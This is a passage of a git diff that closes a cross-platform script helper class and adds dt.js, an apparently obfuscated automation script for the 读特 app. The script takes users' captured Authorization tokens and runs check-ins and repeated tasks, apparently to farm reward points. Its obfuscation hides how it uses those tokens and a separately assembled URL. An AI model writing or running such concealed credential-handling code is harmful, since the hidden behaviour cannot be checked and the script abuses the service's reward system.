+ /(y+)/.test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ (new Date().getFullYear() + "").substr(4 - RegExp.$1.length)
+ ));
+ for (let e in s)
+ new RegExp("(" + e + ")").test(t) &&
+ (t = t.replace(
+ RegExp.$1,
+ 1 == RegExp.$1.length
+ ? s[e]
+ : ("00" + s[e]).substr(("" + s[e]).length)
+ ));
+ return t;
+ }
+ msg(s = t, e = "", i = "", o) {
+ const h = (t) =>
+ !t || (!this.isLoon() && this.isSurge())
+ ? t
+ : "string" == typeof t
+ ? this.isLoon()
+ ? t
+ : this.isQuanX()
+ ? { "open-url": t }
+ : void 0
+ : "object" == typeof t && (t["open-url"] || t["media-url"])
+ ? this.isLoon()
+ ? t["open-url"]
+ : this.isQuanX()
+ ? t
+ : void 0
+ : void 0;
+ this.isMute ||
+ (this.isSurge() || this.isLoon()
+ ? $notification.post(s, e, i, h(o))
+ : this.isQuanX() && $notify(s, e, i, h(o)));
+ let logs = ['', '==============📣系统通知📣=============='];
+ logs.push(t);
+ e ? logs.push(e) : '';
+ i ? logs.push(i) : '';
+ console.log(logs.join('\n'));
+ this.logs = this.logs.concat(logs);
+ }
+ log(...t) {
+ t.length > 0 && (this.logs = [...this.logs, ...t]),
+ console.log(t.join(this.logSeparator));
+ }
+ logErr(t, s) {
+ const e = !this.isSurge() && !this.isQuanX() && !this.isLoon();
+ e
+ ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack)
+ : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t);
+ }
+ wait(t) {
+ return new Promise((s) => setTimeout(s, t));
+ }
+ done(t = {}) {
+ const s = new Date().getTime(),
+ e = (s - this.startTime) / 1e3;
+ this.log(
+ "",
+ `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`
+ )
+ this.log()
+ if (this.isNode()) {
+ process.exit(1)
+ }
+ if (this.isQuanX()) {
+ $done(t)
+ }
+ }
+ })(t, s);
+}
diff --git a/dt.js b/dt.js
new file mode 100644
index 00000000..d7b6fbd2
--- /dev/null
+++ b/dt.js
@@ -0,0 +1,13 @@
+/*
+读特
+
+自己捉包把Authorization值(去掉Bearer)填到dtCookie里,不提供重写了
+定时一天一两次
+
+变量:
+dtCookie -- 必填,账号Authorization,只填去掉Bearer的值就行。多账号换行隔开
+
+cron: 26 8,17 * * *
+const $ = new Env('读特');
+*/
+const _0x13358b=_0x197a;(function(_0x84098e,_0x3fa796){const _0x6b8715=_0x197a,_0x24fa86=_0x84098e();while(!![]){try{const _0x57b9fe=-parseInt(_0x6b8715(0x266))/(-0x1733+0x2aa*0x5+0x9e2)*(parseInt(_0x6b8715(0x3b5))/(-0x87*-0x18+0x2528+-0x1a9*0x1e))+parseInt(_0x6b8715(0x3ba))/(-0x10*-0x5e+0x1*0x1099+-0x1676)+-parseInt(_0x6b8715(0x417))/(0xe55*-0x1+0xf3e*0x1+0xe5*-0x1)+-parseInt(_0x6b8715(0x2f0))/(-0xe5+-0x1993*-0x1+-0x3b*0x6b)+-parseInt(_0x6b8715(0x2d2))/(0x1a75+-0x8d1*0x1+-0x119e)*(-parseInt(_0x6b8715(0x267))/(-0x12e+0x2065*0x1+-0x4*0x7cc))+parseInt(_0x6b8715(0x388))/(-0xe5*-0xb+-0x377+-0x658)*(-parseInt(_0x6b8715(0x2cc))/(0x1b02+0x3f3*0x1+-0x1eec))+-parseInt(_0x6b8715(0x42c))/(0x1*-0x527+-0x1c0b+0x213c)*(-parseInt(_0x6b8715(0x42f))/(0x202e+0x1ffa+-0x401d));if(_0x57b9fe===_0x3fa796)break;else _0x24fa86['push'](_0x24fa86['shift']());}catch(_0x20a4f7){_0x24fa86['push'](_0x24fa86['shift']());}}}(_0x3782,-0x11c77a+-0x5*0xf686+0x22a0a6));const _0x2ce247=new _0x216d56('\u8bfb\u7279');let _0x432c91,_0x58c2e9,_0x116a70,_0x3aecbf=['\x0a','\x40'],_0x29fc2b=(_0x2ce247[_0x13358b(0x3a6)+'\x65']()?process[_0x13358b(0x3d5)][_0x13358b(0x357)+_0x13358b(0x2d7)]:_0x2ce247[_0x13358b(0x2ce)+'\x74\x61'](_0x13358b(0x357)+_0x13358b(0x2d7)))||'',_0xf80879=[],_0x2b63e0=[],_0x1f6d9e=-0x231f+-0x1606+-0x1*-0x3925,_0x5e62c2=0x2694+-0xbf2+-0x1e7*0xe,_0x1ada1d=_0x13358b(0x434)+_0x13358b(0x37a)+_0x13358b(0x3f1)+_0x13358b(0x22b)+_0x13358b(0x2dc)+_0x13358b(0x43a)+'\x61\x63',_0x41e202=0x257*-0x6+0x1f31+-0x111f,_0x3c1a19=-0xb39+-0x23c8*-0x1+-0x1763,_0x1cd1a2=0x7b9*0x3+-0x54d*0x1+-0xdf6,_0x22618b=0x1c25*-0x1+-0xde3+0x2a09+0.020000000000000018,_0xf0dd4c=![],_0x2b8813='\x64\x74',_0x440532=_0x13358b(0x239)+_0x13358b(0x24b)+_0x13358b(0x3e7)+_0x13358b(0x25a)+'\x6e\x67\x2e\x6e\x65'+_0x13358b(0x3d4)+_0x13358b(0x3c8)+_0x13358b(0x243)+_0x13358b(0x355)+_0x13358b(0x1fe)+_0x13358b(0x3ef)+_0x13358b(0x3c7)+_0x13358b(0x40b)+_0x13358b(0x2cd)+_0x13358b(0x2ba)+_0x13358b(0x24c)+_0x13358b(0x3f7)+_0x13358b(0x279)+_0x13358b(0x2ee)+_0x13358b(0x361)+_0x13358b(0x24a)+_0x13358b(0x23b);class _0x4fc0f8{constructor(_0x1342f8){const _0x1e55ae=_0x13358b,_0x399bb9={};_0x399bb9[_0x1e55ae(0x39c)]=_0x1e55ae(0x3cf)+_0x1e55ae(0x425);const _0x474a3c=_0x399bb9,_0x195712=_0x474a3c[_0x1e55ae(0x39c)][_0x1e55ae(0x299)]('\x7c');let _0x515b33=0x1360+-0x5ac*0x3+-0x25c;while(!![]){switch(_0x195712[_0x515b33++]){case'\x30':this[_0x1e55ae(0x1e3)]=_0x1342f8;continue;case'\x31':this[_0x1e55ae(0x2c1)]=++_0x1f6d9e;continue;case'\x32':this[_0x1e55ae(0x326)+_0x1e55ae(0x2aa)]='';continue;case'\x33':this[_0x1e55ae(0x423)]=[];continue;case'\x34':this[_0x1e55ae(0x24c)]=![];continue;}break;}}[_0x13358b(0x334)+_0x13358b(0x225)+'\x62\x6a'](){const _0x45b6e3=_0x13358b,_0x13f4dd={};_0x13f4dd[_0x45b6e3(0x420)]='\x37\x2e\x31\x2e\x31',_0x13f4dd[_0x45b6e3(0x24f)]=function(_0x4dc9fd,_0x201310){return _0x4dc9fd+_0x201310;},_0x13f4dd[_0x45b6e3(0x1f8)]=function(_0x157f64,_0x4b2328){return _0x157f64+_0x4b2328;},_0x13f4dd[_0x45b6e3(0x366)]=function(_0x1f6712,_0x22b29e){return _0x1f6712+_0x22b29e;},_0x13f4dd[_0x45b6e3(0x300)]=function(_0xa0849f,_0x29c6c1){return _0xa0849f+_0x29c6c1;},_0x13f4dd[_0x45b6e3(0x30c)]=function(_0x281134,_0x1fe8f8){return _0x281134+_0x1fe8f8;},_0x13f4dd[_0x45b6e3(0x438)]=function(_0x4ff582,_0x42940d){return _0x4ff582+_0x42940d;},_0x13f4dd[_0x45b6e3(0x314)]=_0x45b6e3(0x288)+_0x45b6e3(0x235),_0x13f4dd[_0x45b6e3(0x32c)]=_0x45b6e3(0x255);const _0x5b18c1=_0x13f4dd;let _0x2e3a0d={'\x61\x70\x70\x5f\x76\x65\x72\x73\x69\x6f\x6e':_0x5b18c1['\x66\x54\x6e\x71\x6a'],'\x64\x65\x76\x69\x63\x65\x5f\x69\x64':_0x5b18c1[_0x45b6e3(0x24f)](_0x5b18c1[_0x45b6e3(0x24f)](_0x5b18c1[_0x45b6e3(0x1f8)](_0x5b18c1[_0x45b6e3(0x366)](_0x5b18c1[_0x45b6e3(0x1f8)](_0x5b18c1[_0x45b6e3(0x300)](_0x5b18c1[_0x45b6e3(0x30c)](_0x5b18c1[_0x45b6e3(0x366)](_0x2ce247[_0x45b6e3(0x410)+_0x45b6e3(0x3cb)+'\x6e\x67'](0x79f+0xd31+-0x118*0x13)[_0x45b6e3(0x346)+_0x45b6e3(0x20c)+'\x65'](),'\x2d'),_0x2ce247[_0x45b6e3(0x410)+_0x45b6e3(0x3cb)+'\x6e\x67'](0xbe6*-0x1+-0x1bf8*-0x1+-0x100e)[_0x45b6e3(0x346)+_0x45b6e3(0x20c)+'\x65']()),'\x2d'),_0x2ce247[_0x45b6e3(0x410)+_0x45b6e3(0x3cb)+'\x6e\x67'](-0xdee+-0x259a+-0xce3*-0x4)[_0x45b6e3(0x346)+_0x45b6e3(0x20c)+'\x65']()),'\x2d'),_0x2ce247[_0x45b6e3(0x410)+_0x45b6e3(0x3cb)+'\x6e\x67'](0x6f*-0xd+-0x20cf+0x2676)[_0x45b6e3(0x346)+_0x45b6e3(0x20c)+'\x65']()),'\x2d'),_0x2ce247[_0x45b6e3(0x410)+_0x45b6e3(0x3cb)+'\x6e\x67'](-0x6c+0xb9b+0x1*-0xb23)[_0x45b6e3(0x346)+_0x45b6e3(0x20c)+'\x65']()),'\x73\x79\x73\x74\x65\x6d\x5f\x6e\x61\x6d\x65':'\x37\x2e\x31\x2e\x31','\x6d\x65\x6d\x62\x65\x72\x69\x64':this[_0x45b6e3(0x326)+_0x45b6e3(0x2aa)],'\x6d\x65\x6d\x62\x65\x72\x49\x64':this[_0x45b6e3(0x326)+_0x45b6e3(0x2aa)],'\x69\x70':_0x5b18c1[_0x45b6e3(0x438)](_0x5b18c1[_0x45b6e3(0x314)],Math[_0x45b6e3(0x1dc)](Math[_0x45b6e3(0x410)+'\x6d']()*(-0xb*0x252+-0x1*-0x1783+-0x2f3*-0x1)+(0x80*0x31+-0x35c+0x21d*-0xa))),'\x73\x69\x74\x65\x69\x64':_0x45b6e3(0x325),'\x63\x6c\x69\x65\x6e\x74\x69\x64':'\x31','\x74\x79\x70\x65':_0x5b18c1[_0x45b6e3(0x32c)]};return _0x2e3a0d;}async['\x67\x65\x74\x4d\x65'+_0x13358b(0x1f5)+_0x13358b(0x26f)](){const _0x3139c1=_0x13358b,_0x3086ae={'\x52\x45\x6c\x50\x4d':_0x3139c1(0x3e8)+_0x3139c1(0x3b6)+'\x32','\x78\x4f\x48\x61\x7a':function(_0x37757f,_0x2538bf){return _0x37757f+_0x2538bf;},'\x70\x61\x55\x53\x6e':function(_0x529b4e,_0x354337){return _0x529b4e(_0x354337);},'\x6c\x4b\x73\x4d\x54':function(_0x2688f2,_0x2f6465,_0xaf4ba,_0x134312){return _0x2688f2(_0x2f6465,_0xaf4ba,_0x134312);},'\x4f\x78\x54\x75\x62':function(_0x5ebd2f,_0x5a8228,_0x52358f){return _0x5ebd2f(_0x5a8228,_0x52358f);},'\x45\x48\x6d\x51\x48':function(_0x4aacbf,_0x3e2186){return _0x4aacbf==_0x3e2186;}};let _0x27b7ee=new Date()[_0x3139c1(0x3d3)+'\x6d\x65'](),_0x5f114d=this[_0x3139c1(0x334)+_0x3139c1(0x225)+'\x62\x6a']();_0x5f114d[_0x3139c1(0x30e)]=_0x27b7ee,_0x5f114d[_0x3139c1(0x25b)+'\x65\x73']=_0x3086ae[_0x3139c1(0x431)];let _0x26e845=_0x2ce247[_0x3139c1(0x2a6)+_0x3139c1(0x33c)](_0x5f114d,'\x26',!![]),_0x4cf1e8=_0x3eafcd(_0x26e845),_0x4d2b81=_0x3086ae[_0x3139c1(0x246)](_0x3086ae[_0x3139c1(0x246)](_0x4cf1e8,_0x1ada1d),_0x27b7ee);_0x5f114d[_0x3139c1(0x2d1)]=_0x3086ae[_0x3139c1(0x1f6)](_0x3eafcd,_0x4d2b81);let _0x19d276=_0x3139c1(0x239)+_0x3139c1(0x3c0)+_0x3139c1(0x373)+_0x3139c1(0x407)+_0x3139c1(0x390)+_0x3139c1(0x2d6)+_0x3139c1(0x2d0)+_0x3139c1(0x30f)+_0x3139c1(0x326)+'\x72\x3f'+_0x2ce247[_0x3139c1(0x2a6)+_0x3139c1(0x33c)](_0x5f114d,'\x26',!![]),_0x33e926='',_0x4f235b=_0x3086ae[_0x3139c1(0x428)](_0x4ba2ac,_0x19d276,this[_0x3139c1(0x1e3)],_0x33e926);await _0x3086ae['\x4f\x78\x54\x75\x62'](_0x52266a,_0x3139c1(0x31d),_0x4f235b);let _0x4d554d=_0x432c91;if(!_0x4d554d)return;if(_0x3086ae[_0x3139c1(0x274)](_0x4d554d[_0x3139c1(0x39f)],!![])){const _0x46ed3c=('\x34\x7c\x32\x7c\x30'+_0x3139c1(0x23e))[_0x3139c1(0x299)]('\x7c');let _0x3ff62b=0xa05+-0x99*-0x3d+-0x295*0x12;while(!![]){switch(_0x46ed3c[_0x3ff62b++]){case'\x30':this['\x63\x72\x65\x64\x69'+'\x74']=_0x4d554d[_0x3139c1(0x2ab)][_0x3139c1(0x3e8)+_0x3139c1(0x3c2)][_0x3139c1(0x23d)][_0x3139c1(0x1d9)+'\x74\x73'];continue;case'\x31':this['\x6e\x61\x6d\x65']=_0x4d554d[_0x3139c1(0x2ab)][_0x3139c1(0x3e8)+_0x3139c1(0x3c2)][_0x3139c1(0x23d)][_0x3139c1(0x421)+_0x3139c1(0x36b)];continue;case'\x32':this[_0x3139c1(0x326)+_0x3139c1(0x2aa)]=_0x4d554d[_0x3139c1(0x2ab)][_0x3139c1(0x3e8)+_0x3139c1(0x3c2)][_0x3139c1(0x23d)][_0x3139c1(0x326)+_0x3139c1(0x2aa)];continue;case'\x33':console[_0x3139c1(0x2f9)](_0x3139c1(0x323)+this[_0x3139c1(0x367)]+(_0x3139c1(0x3b2)+_0x3139c1(0x320))+this['\x63\x72\x65\x64\x69'+'\x74']);continue;case'\x34':this[_0x3139c1(0x24c)]=!![];continue;}break;}}else _0x2ce247[_0x3139c1(0x3fd)+_0x3139c1(0x28b)+'\x66\x79']('\u8d26\u53f7\x5b'+this[_0x3139c1(0x2c1)]+(_0x3139c1(0x20d)+'\x3a\x20')+_0x4d554d[_0x3139c1(0x1e4)]);}async[_0x13358b(0x21a)+_0x13358b(0x3be)](){const _0x6008e0=_0x13358b,_0x1d602f={'\x45\x43\x6f\x53\x52':_0x6008e0(0x3e8)+_0x6008e0(0x3b6)+'\x32','\x79\x58\x6a\x6a\x48':function(_0x2190c0,_0x3e8be4){return _0x2190c0+_0x3e8be4;},'\x62\x54\x4d\x76\x79':function(_0x57fc42,_0x441122){return _0x57fc42(_0x441122);},'\x79\x4c\x58\x71\x41':function(_0x5745b8,_0x2bd852,_0x28c68b){return _0x5745b8(_0x2bd852,_0x28c68b);},'\x48\x4d\x74\x4f\x69':_0x6008e0(0x31d),'\x4a\x6b\x6f\x41\x7a':function(_0x4bcdb9,_0xee1f25){return _0x4bcdb9==_0xee1f25;}};let _0x129466=new Date()[_0x6008e0(0x3d3)+'\x6d\x65'](),_0x9f40d6=this[_0x6008e0(0x334)+_0x6008e0(0x225)+'\x62\x6a']();_0x9f40d6['\x74\x69\x6d\x65']=_0x129466,_0x9f40d6[_0x6008e0(0x25b)+'\x65\x73']=_0x1d602f[_0x6008e0(0x3c1)];let _0x25199b=_0x2ce247[_0x6008e0(0x2a6)+'\x73\x74\x72'](_0x9f40d6,'\x26',!![]),_0x4e313e=_0x3eafcd(_0x25199b),_0x4fdeb6=_0x1d602f[_0x6008e0(0x2e2)](_0x1d602f[_0x6008e0(0x2e2)](_0x4e313e,_0x1ada1d),_0x129466);_0x9f40d6[_0x6008e0(0x2d1)]=_0x1d602f[_0x6008e0(0x2c7)](_0x3eafcd,_0x4fdeb6);let _0x2dc558=_0x6008e0(0x239)+_0x6008e0(0x3c0)+_0x6008e0(0x373)+_0x6008e0(0x407)+_0x6008e0(0x390)+_0x6008e0(0x2d6)+_0x6008e0(0x2d0)+_0x6008e0(0x30f)+_0x6008e0(0x326)+'\x72\x3f'+_0x2ce247[_0x6008e0(0x2a6)+_0x6008e0(0x33c)](_0x9f40d6,'\x26',!![]),_0x1e5765='',_0x3da4ee=_0x4ba2ac(_0x2dc558,this[_0x6008e0(0x1e3)],_0x1e5765);await _0x1d602f[_0x6008e0(0x3b1)](_0x52266a,_0x1d602f[_0x6008e0(0x414)],_0x3da4ee);let _0x23d9ec=_0x432c91;if(!_0x23d9ec)return;_0x1d602f[_0x6008e0(0x2a8)](_0x23d9ec[_0x6008e0(0x39f)],!![])?(this[_0x6008e0(0x1d9)+'\x74']=_0x23d9ec[_0x6008e0(0x2ab)][_0x6008e0(0x3e8)+_0x6008e0(0x3c2)][_0x6008e0(0x23d)][_0x6008e0(0x1d9)+'\x74\x73'],_0x2ce247[_0x6008e0(0x3fd)+_0x6008e0(0x28b)+'\x66\x79']('\u8d26\u53f7'+this[_0x6008e0(0x2c1)]+'\x5b'+this[_0x6008e0(0x367)]+_0x6008e0(0x386)+this[_0x6008e0(0x1d9)+'\x74'])):console[_0x6008e0(0x2f9)](_0x6008e0(0x323)+this[_0x6008e0(0x2c1)]+(_0x6008e0(0x1dd)+_0x6008e0(0x335))+_0x23d9ec[_0x6008e0(0x1e4)]);}async[_0x13358b(0x2ad)+_0x13358b(0x3bd)+'\x74'](){const _0x6fd299=_0x13358b,_0xecb4d8={'\x6e\x50\x41\x70\x52':_0x6fd299(0x28a)+_0x6fd299(0x3e9),'\x62\x6f\x49\x55\x6c':function(_0x162c21,_0x14922e){return _0x162c21(_0x14922e);},'\x67\x75\x70\x4d\x53':function(_0x3f26a3,_0x33e9e1){return _0x3f26a3+_0x33e9e1;},'\x61\x4f\x42\x73\x6e':function(_0x222a87,_0x19249f){return _0x222a87(_0x19249f);},'\x65\x56\x44\x47\x6c':function(_0x202a53,_0x48169d,_0x39e149,_0x3bc4f9){return _0x202a53(_0x48169d,_0x39e149,_0x3bc4f9);},'\x4b\x6d\x4f\x44\x76':function(_0x12e0d9,_0x56a8c4,_0x593738){return _0x12e0d9(_0x56a8c4,_0x593738);},'\x4c\x48\x54\x45\x6a':_0x6fd299(0x31d),'\x54\x68\x4e\x43\x4e':function(_0x2f32ca,_0x147b13){return _0x2f32ca==_0x147b13;},'\x51\x58\x76\x75\x76':function(_0x4ef345,_0x493bec){return _0x4ef345>_0x493bec;},'\x5a\x65\x63\x77\x42':function(_0x412375,_0x15578d){return _0x412375>_0x15578d;},'\x6f\x41\x4e\x62\x55':function(_0x33896a,_0x347385){return _0x33896a>_0x347385;},'\x4d\x54\x6f\x71\x70':_0x6fd299(0x24d),'\x4c\x46\x63\x7a\x55':_0x6fd299(0x372)};let _0x1e6756=new Date()[_0x6fd299(0x3d3)+'\x6d\x65'](),_0x1fadd0=this[_0x6fd299(0x334)+_0x6fd299(0x225)+'\x62\x6a']();_0x1fadd0[_0x6fd299(0x25b)+'\x65\x73']=_0xecb4d8[_0x6fd299(0x305)],_0x1fadd0[_0x6fd299(0x41a)+'\x69\x64']=this[_0x6fd299(0x326)+_0x6fd299(0x2aa)];let _0xf8fe16=_0x2ce247[_0x6fd299(0x2a6)+_0x6fd299(0x33c)](_0x1fadd0,'\x26',!![]),_0x542ef4=_0xecb4d8[_0x6fd299(0x354)](_0x3eafcd,_0xf8fe16),_0x2119fa=_0xecb4d8[_0x6fd299(0x245)](_0xecb4d8[_0x6fd299(0x245)](_0x542ef4,_0x1ada1d),_0x1e6756);_0x1fadd0[_0x6fd299(0x2d1)]=_0xecb4d8[_0x6fd299(0x1df)](_0x3eafcd,_0x2119fa),_0x1fadd0[_0x6fd299(0x30e)]=_0x1e6756;let _0x1f51b4=_0x6fd299(0x239)+'\x3a\x2f\x2f\x61\x70'+_0x6fd299(0x373)+_0x6fd299(0x407)+_0x6fd299(0x390)+'\x67\x61\x74\x65\x77'+_0x6fd299(0x2d0)+_0x6fd299(0x30f)+'\x61\x70\x70\x2f\x6d'+_0x6fd299(0x427)+_0x2ce247[_0x6fd299(0x2a6)+_0x6fd299(0x33c)](_0x1fadd0,'\x26',!![]),_0x1ba22c='',_0x1f762d=_0xecb4d8[_0x6fd299(0x392)](_0x4ba2ac,_0x1f51b4,this[_0x6fd299(0x1e3)],_0x1ba22c);await _0xecb4d8[_0x6fd299(0x2fc)](_0x52266a,_0xecb4d8[_0x6fd299(0x3c6)],_0x1f762d);let _0x441e47=_0x432c91;if(!_0x441e47)return;if(_0xecb4d8[_0x6fd299(0x3b4)](_0x441e47[_0x6fd299(0x39f)],!![]))for(let _0x42b90c of _0x441e47[_0x6fd299(0x2ab)][_0x6fd299(0x28a)+_0x6fd299(0x29d)][_0x6fd299(0x2e4)]){if(_0xecb4d8[_0x6fd299(0x27d)](_0x42b90c[_0x6fd299(0x367)][_0x6fd299(0x2c1)+'\x4f\x66']('\u6ce8\u518c'),-(0x1*-0xf1+-0x19da+0x1acc))||_0xecb4d8[_0x6fd299(0x2bb)](_0x42b90c[_0x6fd299(0x367)][_0x6fd299(0x2c1)+'\x4f\x66']('\u9080\u8bf7'),-(0x95*0x31+0x35a+-0x1fde))||_0xecb4d8[_0x6fd299(0x3fc)](_0x42b90c[_0x6fd299(0x367)][_0x6fd299(0x2c1)+'\x4f\x66']('\u9080\u8bf7'),-(-0x183b+-0x19*0xda+0x2d86)))continue;let _0x517c3b=_0xecb4d8[_0x6fd299(0x3b4)](_0x42b90c[_0x6fd299(0x3e5)+_0x6fd299(0x2e9)+_0x6fd299(0x36e)],_0x42b90c[_0x6fd299(0x333)+_0x6fd299(0x1ee)]),_0x3cdd32=_0x517c3b?_0xecb4d8['\x4d\x54\x6f\x71\x70']:_0xecb4d8[_0x6fd299(0x20f)];console[_0x6fd299(0x2f9)]('\u3010'+_0x42b90c[_0x6fd299(0x367)]+'\u3011'+_0x42b90c[_0x6fd299(0x3e5)+_0x6fd299(0x2e9)+_0x6fd299(0x36e)]+'\x2f'+_0x42b90c[_0x6fd299(0x333)+_0x6fd299(0x1ee)]+'\uff0c'+_0x3cdd32);if(!_0x517c3b)this[_0x6fd299(0x423)][_0x6fd299(0x20a)](_0x42b90c);}else console[_0x6fd299(0x2f9)](_0x6fd299(0x323)+this[_0x6fd299(0x367)]+(_0x6fd299(0x42b)+_0x6fd299(0x2b2)+'\x20')+_0x441e47['\x65\x72\x72\x6f\x72']);}async[_0x13358b(0x1e6)+'\x6e'](){const _0x3961cb=_0x13358b,_0x27eeb4={'\x4e\x6d\x66\x6d\x63':_0x3961cb(0x250)+'\x31','\x67\x42\x58\x76\x4d':function(_0x2c6e59,_0x343d64){return _0x2c6e59(_0x343d64);},'\x67\x6b\x6e\x65\x4d':function(_0xdaa61f,_0xc11cdb){return _0xdaa61f+_0xc11cdb;},'\x6a\x4b\x52\x79\x7a':function(_0x301780,_0x27f60b){return _0x301780+_0x27f60b;},'\x69\x6f\x48\x5a\x78':function(_0x167421,_0x56499e,_0x26c1fb,_0x2e2206){return _0x167421(_0x56499e,_0x26c1fb,_0x2e2206);},'\x45\x6f\x79\x4d\x50':function(_0x3ecf07,_0x34d235,_0x3f7900){return _0x3ecf07(_0x34d235,_0x3f7900);},'\x6c\x77\x73\x73\x68':function(_0x248a0b,_0x381097){return _0x248a0b==_0x381097;}};let _0x4248db=new Date()[_0x3961cb(0x3d3)+'\x6d\x65'](),_0x3c1292=this[_0x3961cb(0x334)+_0x3961cb(0x225)+'\x62\x6a']();_0x3c1292[_0x3961cb(0x25b)+'\x65\x73']=_0x27eeb4[_0x3961cb(0x3ed)],_0x3c1292[_0x3961cb(0x41a)+'\x69\x64']=this[_0x3961cb(0x326)+_0x3961cb(0x2aa)];let _0x3de2ca=_0x2ce247[_0x3961cb(0x2a6)+_0x3961cb(0x33c)](_0x3c1292,'\x26',!![]),_0x1c8be5=_0x27eeb4[_0x3961cb(0x3aa)](_0x3eafcd,_0x3de2ca),_0x47b622=_0x27eeb4[_0x3961cb(0x32a)](_0x27eeb4[_0x3961cb(0x41e)](_0x1c8be5,_0x1ada1d),_0x4248db);_0x3c1292[_0x3961cb(0x2d1)]=_0x27eeb4[_0x3961cb(0x3aa)](_0x3eafcd,_0x47b622),_0x3c1292[_0x3961cb(0x30e)]=_0x4248db;let _0x2d8f70=_0x3961cb(0x239)+_0x3961cb(0x3c0)+_0x3961cb(0x373)+_0x3961cb(0x407)+_0x3961cb(0x390)+_0x3961cb(0x2d6)+_0x3961cb(0x2d0)+_0x3961cb(0x30f)+_0x3961cb(0x3ab)+_0x3961cb(0x427)+_0x2ce247[_0x3961cb(0x2a6)+_0x3961cb(0x33c)](_0x3c1292,'\x26',!![]),_0x47d7aa='',_0xce0dcc=_0x27eeb4[_0x3961cb(0x2ea)](_0x4ba2ac,_0x2d8f70,this['\x61\x75\x74\x68'],_0x47d7aa);await _0x27eeb4[_0x3961cb(0x216)](_0x52266a,_0x3961cb(0x31d),_0xce0dcc);let _0x27dc80=_0x432c91;if(!_0x27dc80)return;_0x27eeb4[_0x3961cb(0x3da)](_0x27dc80[_0x3961cb(0x39f)],!![])?console[_0x3961cb(0x2f9)](_0x3961cb(0x323)+this[_0x3961cb(0x367)]+_0x3961cb(0x2eb)+_0x27dc80[_0x3961cb(0x2ab)][_0x3961cb(0x2d1)]):console[_0x3961cb(0x2f9)](_0x3961cb(0x323)+this[_0x3961cb(0x367)]+(_0x3961cb(0x1e5)+'\x3a\x20')+_0x27dc80['\x65\x72\x72\x6f\x72']);}async[_0x13358b(0x3bc)+_0x13358b(0x406)](_0x3ad518){const _0x51b262=_0x13358b,_0x65ae41={'\x79\x4c\x50\x49\x7a':_0x51b262(0x21b)+_0x51b262(0x341),'\x6e\x52\x6a\x62\x74':function(_0x11859c,_0x344cfe){return _0x11859c+_0x344cfe;},'\x63\x4c\x64\x51\x42':function(_0x131e37,_0x2efe1c){return _0x131e37(_0x2efe1c);},'\x4f\x53\x6e\x54\x52':function(_0x460304,_0x422781){return _0x460304+_0x422781;},'\x41\x78\x4c\x6b\x58':function(_0x33d1c8,_0x1d4b06,_0x3d53aa,_0x162f8a){return _0x33d1c8(_0x1d4b06,_0x3d53aa,_0x162f8a);},'\x4a\x53\x6d\x58\x6e':function(_0xd4298c,_0x1052fb){return _0xd4298c==_0x1052fb;}};let _0x2f4183=new Date()[_0x51b262(0x3d3)+'\x6d\x65'](),_0x4fae05=this[_0x51b262(0x334)+_0x51b262(0x225)+'\x62\x6a']();_0x4fae05[_0x51b262(0x1d9)+_0x51b262(0x253)]=_0x3ad518[_0x51b262(0x26b)+_0x51b262(0x2f5)+'\x6e'],_0x4fae05[_0x51b262(0x25b)+'\x65\x73']=_0x65ae41[_0x51b262(0x374)],_0x4fae05[_0x51b262(0x37d)+_0x51b262(0x349)]=_0x65ae41['\x6e\x52\x6a\x62\x74'](this[_0x51b262(0x326)+_0x51b262(0x2aa)]+'\x5f',_0x2f4183),_0x4fae05[_0x51b262(0x326)+_0x51b262(0x3f6)]=this[_0x51b262(0x326)+_0x51b262(0x2aa)];let _0xe1b07b=_0x2ce247[_0x51b262(0x2a6)+_0x51b262(0x33c)](_0x4fae05,'\x26',!![]),_0xa09964=_0x65ae41[_0x51b262(0x33d)](_0x3eafcd,_0xe1b07b),_0x159797=_0x65ae41[_0x51b262(0x1fb)](_0xa09964,_0x1ada1d)+_0x2f4183;_0x4fae05[_0x51b262(0x2d1)]=_0x65ae41[_0x51b262(0x33d)](_0x3eafcd,_0x159797),_0x4fae05[_0x51b262(0x30e)]=_0x2f4183;let _0x499fc7=_0x51b262(0x239)+_0x51b262(0x3c0)+_0x51b262(0x373)+_0x51b262(0x407)+_0x51b262(0x390)+_0x51b262(0x2d6)+_0x51b262(0x2d0)+_0x51b262(0x30f)+_0x51b262(0x1d9)+'\x74\x3f'+_0x2ce247[_0x51b262(0x2a6)+_0x51b262(0x33c)](_0x4fae05,'\x26',!![]),_0x540c52='',_0x199cab=_0x65ae41[_0x51b262(0x337)](_0x4ba2ac,_0x499fc7,this[_0x51b262(0x1e3)],_0x540c52);await _0x52266a(_0x51b262(0x31d),_0x199cab);let _0x3b4730=_0x432c91;if(!_0x3b4730)return;if(_0x65ae41[_0x51b262(0x214)](_0x3b4730[_0x51b262(0x39f)],!![])){let _0x31c2a2=_0x3b4730[_0x51b262(0x2ab)][_0x51b262(0x21b)+'\x6e'][_0x51b262(0x432)+'\x67\x65']?_0x3b4730[_0x51b262(0x2ab)][_0x51b262(0x21b)+'\x6e'][_0x51b262(0x432)+'\x67\x65']:_0x51b262(0x364)+'\u5206';console[_0x51b262(0x2f9)](_0x51b262(0x323)+this[_0x51b262(0x367)]+_0x51b262(0x3a2)+_0x3ad518[_0x51b262(0x367)]+_0x51b262(0x1f4)+_0x31c2a2);}else console[_0x51b262(0x2f9)](_0x51b262(0x323)+this['\x6e\x61\x6d\x65']+_0x51b262(0x3a2)+_0x3ad518[_0x51b262(0x367)]+_0x51b262(0x335)+_0x3b4730[_0x51b262(0x1e4)]);}async[_0x13358b(0x3bf)+'\x6b'](){const _0x44f307=_0x13358b,_0x4ab2d8={};_0x4ab2d8['\x6a\x71\x4b\x55\x66']=function(_0x5adaaf,_0x344ece){return _0x5adaaf-_0x344ece;};const _0x2a8f74=_0x4ab2d8;for(let _0x54d69d of this[_0x44f307(0x423)]){let _0x3c2b2d=_0x2a8f74[_0x44f307(0x368)](_0x54d69d[_0x44f307(0x333)+_0x44f307(0x1ee)],_0x54d69d[_0x44f307(0x3e5)+_0x44f307(0x2e9)+_0x44f307(0x36e)]);for(let _0x20d7c0=-0x2*-0xa27+0x13d0*0x1+-0x9e*0x41;_0x20d7c0<_0x3c2b2d;_0x20d7c0++){await _0x2ce247[_0x44f307(0x2f4)](0x15b1+-0x1*0x1a88+0x4f*0x29),await 